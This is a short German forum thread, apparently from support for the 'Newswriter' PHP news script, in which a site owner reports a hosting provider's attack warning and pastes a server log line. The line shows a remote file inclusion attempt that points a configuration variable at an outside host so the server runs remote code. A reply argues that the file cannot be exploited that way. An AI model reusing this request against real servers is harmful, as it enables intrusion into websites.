Hacker Bug 1.2

[Mad Line]

Moin Moin
Gestern hab ich mal wieder eine mail bekommen von Puretec.

Zitat:wiederum mussten wir einen über Ihre Präenz ausgeführten Angriff auf unseren Webserver registrieren. Erneut war die Software "Newswriter"
Ausgangspunkt, welches das Ausführen beliebigen Codes erlaubt.

Wir möchten Sie nun nochmals bitten sich des Problems anzunehmen und für die Sicherheit der von Ihnen verwendeten Software Sorge zu tragen.

200.126.201.125 - - [11/Oct/2007:07:20:37 +0200] "GET /cgi/newssystem/include/initvars.inc.php?NWCONF_SYSTEM[server_path]=http
://quecagada.bravehost.com/http? HTTP/1.1" 200 15 www.****-****** "Mozilla/3.0 (compatible; Indy Library)" "-"

allso es reicht nicht nur eine umleitung in den zwei dateien werde die umleitung in allen dateien im incude ordner vornehmen.

[basti]

Hi,

das ist aber ansich nicht möglich, weil in der initvars.inc.php der Platzhalter $NWCONF_SYSTEM[server_path] gar nicht vor kommt. Also kann der gar nicht aufgerufen bzw. überschrieben werden.